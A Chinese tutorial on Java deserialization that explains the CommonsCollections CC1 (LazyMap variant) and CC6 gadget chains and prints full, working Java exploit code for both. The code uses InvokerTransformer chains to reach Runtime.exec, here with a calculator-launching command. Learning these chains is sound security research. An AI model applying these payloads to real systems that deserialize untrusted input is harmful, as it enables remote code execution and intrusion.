Java反序列化(3)—— CC链6
写在前面
这个CommonsCollections的反序列化链被命名为1-7,其实是因为ysoserial这个工具中这么写的,并没有特殊的含义。

而这个工具中,它的CC1和前面说的有那么一点点区别

首先,之前定义的ChainedTransformer并没有改变,最后都是调用到ChainedTransformer.transform()。
变的是调用ChainedTransformer.transform()的地方,之前用的是TransformedMap.checkSetValue()。但其实LazyMap.get()也调用了它。

首先了解下LazyMap的使用,它接受一个Map和一个Transformer对象来创建,并在get中调用factory(也就是传入的Transformer对象)的transform方法。
Map<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("skky");
下面就是如何利用它。
CC1补充
利用点就在AnnotationInvocationHandler.invoke中

AnnotationInvocationHandler是一个动态代理类,也就是说调用它代理对象的任何方法都会走到这里来。只要它调用的方法是一个无参方法,同时这个方法不是toString、hashCode、annotationType就行。
测试一下:
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
// 创建一个lazyMap的InvocationHandler
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
Map mProxy = (Map) Proxy.newProxyInstance(
lazyMap.getClass().getClassLoader(),
new Class[]{Map.class},
invocationHandler
); // 创建一个动态代理类,代理lazyMap
mProxy.size(); // 调用任何方法,都会执行到lazyMap.get
ok,现在我们就有一个Map对象了,随便调用这个对象的一个无参方法都可以达到我们想到的效果。现在就找一个满足条件的readObject作为入口。
好巧不巧,还是AnnotationInvocationHandler

用刚刚反射出来的构造函数再创建一个AnnotationInvocationHandler,传入我们的动态代理类
Object o = constructor.newInstance(Override.class, mProxy);
serialize(o);
unserialize("ser.bin");
完整代码
package CC1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC1Re {
public static void main(String[] args) throws Exception{
String cmd = "open -a Calculator";
Class rc = Runtime.class;
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(rc),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{cmd}
)
});
Map<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
// lazyMap.get("skky");
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
// 创建一个lazyMap的InvocationHandler
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
Map mProxy = (Map) Proxy.newProxyInstance(
lazyMap.getClass().getClassLoader(),
new Class[]{Map.class},
invocationHandler
); // 创建一个动态代理类,代理lazyMap
Object o = constructor.newInstance(Override.class, mProxy);
// serialize(o);
unserialize("ser.bin");
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}
}
CC6
同样是用LazyMap.get(),不过调用点换成了TiedMapEntry.getValue()

看看TiedMapEntry是什么个事儿,调用点在getValue()

它自身的hashCode调用了getValue

非常简单,测试一下:
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, null);
tiedMapEntry.hashCode();
和URL DNS链一样,我们用HashMap来作为入口类。
HashMap<Object, Object> hMap = new HashMap<>();
hMap.put(tiedMapEntry, null);
serialize(hMap);
unserialize("ser.bin");
还是和URL DNS链一样,它的问题是执行put的时候,会调用一次tiedMapEntry.hashCode();。虽然不会影响反序列化的结果,但如果想要消除它的话。可以在put前将tiedMapEntry的map换成一个空的,之后在用反射改为lazyMap
完整代码
package CC6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws Exception{
String cmd = "open -a Calculator";
Class rc = Runtime.class;
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(rc),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{cmd}
)
});
Map<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap<>(), null); // 用一个空的HashMap初始化
// tiedMapEntry.hashCode();
HashMap<Object, Object> hMap = new HashMap<>();
hMap.put(tiedMapEntry, null);
// 反射修改tiedMapEntry
Class c =tiedMapEntry.getClass();
Field mapField = c.getDeclaredField("map");
mapField.setAccessible(true);
mapField.set(tiedMapEntry, lazyMap);
// serialize(hMap);
unserialize("ser.bin");
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}
}